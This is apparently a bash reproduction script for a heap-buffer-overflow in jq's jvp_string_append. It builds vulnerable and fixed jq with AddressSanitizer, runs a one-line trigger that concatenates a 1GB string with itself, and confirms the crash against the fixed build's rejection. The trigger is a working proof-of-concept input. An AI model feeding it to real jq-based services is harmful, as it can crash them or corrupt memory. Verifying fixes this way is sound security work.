#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS"

EXTERNAL="$ROOT/external"
JQ_DIR="$EXTERNAL/jq"
VULN_BIN="$EXTERNAL/jq-vuln"
FIXED_BIN="$EXTERNAL/jq-fixed"

# Install dependencies
echo "[*] Installing build dependencies..."
apt-get update -qq >/dev/null 2>&1 || true
apt-get install -y -qq git gcc make autoconf automake libtool 2>/dev/null || true
command -v autoreconf >/dev/null 2>&1 || { echo "ERROR: autoreconf not found"; exit 1; }

# Clone jq if not present
if [ ! -d "$JQ_DIR/.git" ]; then
    echo "[*] Cloning jq repository..."
    mkdir -p "$EXTERNAL"
    git clone --depth=100 https://github.com/jqlang/jq.git "$JQ_DIR"
    cd "$JQ_DIR"
    git submodule update --init --recursive
else
    cd "$JQ_DIR"
fi

build_jq() {
    local checkout_ref="$1"
    local output_bin="$2"
    
    cd "$JQ_DIR"
    git clean -fdx
    git checkout "$checkout_ref"
    git submodule update --init --recursive
    autoreconf -i
    CC=gcc CFLAGS='-O1 -g -fsanitize=address -fno-omit-frame-pointer' LDFLAGS='-fsanitize=address' \
        ./configure --with-oniguruma=builtin --disable-shared --disable-docs
    make -j$(nproc)
    cp jq "$output_bin"
    echo "[*] Built $output_bin at $checkout_ref"
}

# Build vulnerable version
echo "[*] Building vulnerable jq (jq-1.8.1)..."
build_jq "jq-1.8.1" "$VULN_BIN"

# Build fixed version
echo "[*] Building fixed jq (e47e56d)..."
build_jq "e47e56d226519635768e6aab2f38f0ab037c09e5" "$FIXED_BIN"

# Trigger: create a 1GB string and concatenate it with itself -> 2GB > INT_MAX
TRIGGER='"A" * 1073741824 as $a | $a + $a'

echo "[*] Running trigger on VULNERABLE build..."
set +e
timeout 300 "$VULN_BIN" -n "$TRIGGER" > "$LOGS/vulnerable_stdout.txt" 2> "$LOGS/vulnerable_stderr.txt"
VULN_EXIT=$?
set -e

echo "[*] Running trigger on FIXED build..."
set +e
timeout 300 "$FIXED_BIN" -n "$TRIGGER" > "$LOGS/fixed_stdout.txt" 2> "$LOGS/fixed_stderr.txt"
FIXED_EXIT=$?
set -e

echo "[*] Vulnerable exit code: $VULN_EXIT"
echo "[*] Fixed exit code: $FIXED_EXIT"

# Analyze results
VULN_HAS_ASAN=$(grep -c "ERROR: AddressSanitizer: heap-buffer-overflow" "$LOGS/vulnerable_stderr.txt" || true)
VULN_IN_JVP=$(grep -c "jvp_string_append" "$LOGS/vulnerable_stderr.txt" || true)
FIXED_HAS_ERROR=$(grep -c "String too long" "$LOGS/fixed_stderr.txt" || true)

echo "[*] Vulnerable ASAN heap-buffer-overflow mentions: $VULN_HAS_ASAN"
echo "[*] Vulnerable jvp_string_append mentions: $VULN_IN_JVP"
echo "[*] Fixed 'String too long' mentions: $FIXED_HAS_ERROR"

# Write runtime manifest
cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "ticket_id": "CVE-2026-32316",
  "trigger": "$TRIGGER",
  "vulnerable_build": "jq-1.8.1",
  "fixed_build": "e47e56d226519635768e6aab2f38f0ab037c09e5",
  "vulnerable_exit_code": $VULN_EXIT,
  "fixed_exit_code": $FIXED_EXIT,
  "vulnerable_has_asan_heap_overflow": $VULN_HAS_ASAN,
  "vulnerable_has_jvp_string_append": $VULN_IN_JVP,
  "fixed_has_string_too_long": $FIXED_HAS_ERROR,
  "logs": {
    "vulnerable_stdout": "$LOGS/vulnerable_stdout.txt",
    "vulnerable_stderr": "$LOGS/vulnerable_stderr.txt",
    "fixed_stdout": "$LOGS/fixed_stdout.txt",
    "fixed_stderr": "$LOGS/fixed_stderr.txt"
  }
}
EOF

if [ "$VULN_HAS_ASAN" -ge 1 ] && [ "$VULN_IN_JVP" -ge 1 ] && [ "$FIXED_HAS_ERROR" -ge 1 ]; then
    echo "[+] ISSUE CONFIRMED: Vulnerable build crashes with heap-buffer-overflow in jvp_string_append; fixed build gracefully rejects with 'String too long'."
    exit 0
else
    echo "[-] Could not confirm issue."
    echo "--- Vulnerable stderr ---"
    cat "$LOGS/vulnerable_stderr.txt" | head -50
    echo "--- Fixed stderr ---"
    cat "$LOGS/fixed_stderr.txt" | head -50
    exit 1
fi
